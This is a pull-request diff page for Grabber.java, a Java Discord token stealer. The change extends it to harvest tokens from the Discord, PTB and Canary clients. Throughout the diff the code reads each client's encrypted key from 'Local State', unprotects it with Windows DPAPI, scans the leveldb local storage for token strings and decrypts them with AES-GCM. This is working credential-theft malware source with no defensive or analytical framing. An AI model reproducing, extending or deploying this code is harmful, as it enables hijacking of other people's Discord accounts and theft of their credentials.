Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
73 changes: 40 additions & 33 deletions Grabber.java
Original file line number Diff line number Diff line change
@@ -1,9 +1,8 @@
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.util.Arrays;
import java.util.ArrayList;
import java.util.Base64;
import java.util.LinkedList;
import java.util.List;

import javax.crypto.Cipher;
Expand All @@ -15,57 +14,65 @@
public class Grabber {

public static List<String> getTokens() {
String key = Key();
List<String> token = Tokens();
if(key == null) return null;
if(token == null) return null;
LinkedList<String> tokens = new LinkedList<String>();
for(String s : token) {
try {
byte[] z = Base64.getDecoder().decode(key);
byte[] y = Arrays.copyOfRange(z, 5, z.length);
tokens.add(decrypt(Base64.getDecoder().decode(s), y));
} catch (Exception e) {}
List<String> tokens = new ArrayList<>();
String[] appNames = {"discord", "discordptb", "discordcanary"};

for (String appName : appNames) {
List<String> appTokens = getTokensForApp(appName);
if (appTokens != null) {
tokens.addAll(appTokens);
}
}

return tokens;
}


private static List<String> Tokens() {
LinkedList<String> token = new LinkedList<String>();
private static List<String> getTokensForApp(String appName) {
String key = getKeyForApp(appName);
if (key == null) {
return null;
}

String regex = "dQw4w9WgXcQ:";
File[] files = new File(System.getenv("APPDATA") + "\\discord\\Local Storage\\leveldb\\").listFiles();
File[] files = new File(System.getenv("APPDATA") + "\\" + appName + "\\Local Storage\\leveldb\\").listFiles();
List<String> tokens = new ArrayList<>();

for (File file : files) {
try {
try (BufferedReader br = new BufferedReader(new FileReader(file))) {
String line;
while ((line = br.readLine()) != null) if (line.contains(regex)) token.add(line.split(regex)[1].split("\"")[0]);
try {
try (BufferedReader br = new BufferedReader(new FileReader(file))) {
String line;
while ((line = br.readLine()) != null) {
if (line.contains(regex)) {
tokens.add(line.split(regex)[1].split("\"")[0]);
}
}
} catch (Exception e) {}
}
} catch (Exception e) {}
}
return token;

return tokens;
}

private static String Key() {
private static String getKeyForApp(String appName) {
try {
try (BufferedReader brs = new BufferedReader(new FileReader(new File(System.getenv("APPDATA") + "\\discord\\Local State")))) {
String line;
while ((line = brs.readLine()) != null) {
return new JSONObject(line).getJSONObject("os_crypt").getString("encrypted_key");
try (BufferedReader brs = new BufferedReader(new FileReader(new File(System.getenv("APPDATA") + "\\" + appName + "\\Local State")))) {
String line;
while ((line = brs.readLine()) != null) {
return new JSONObject(line).getJSONObject("os_crypt").getString("encrypted_key");
}
}
}
} catch (Exception e) {}
return null;
}

private static String decrypt(byte[] token, byte[] key) throws Exception {
byte[] finalKey = Crypt32Util.cryptUnprotectData(key);
byte[] finaltoken = new byte[12];
for (int i = 0; i < 12; i++) finaltoken[i] = token[i + 3];
byte[] finalToken = new byte[12];
System.arraycopy(token, 3, finalToken, 0, 12);
byte[] data = new byte[token.length - 15];
for (int i = 0; i < data.length; i++) data[i] = token[i + 15];
System.arraycopy(token, 15, data, 0, data.length);
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(finalKey, "AES"), new GCMParameterSpec(128, finaltoken));
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(finalKey, "AES"), new GCMParameterSpec(128, finalToken));
return new String(cipher.doFinal(data));
}
}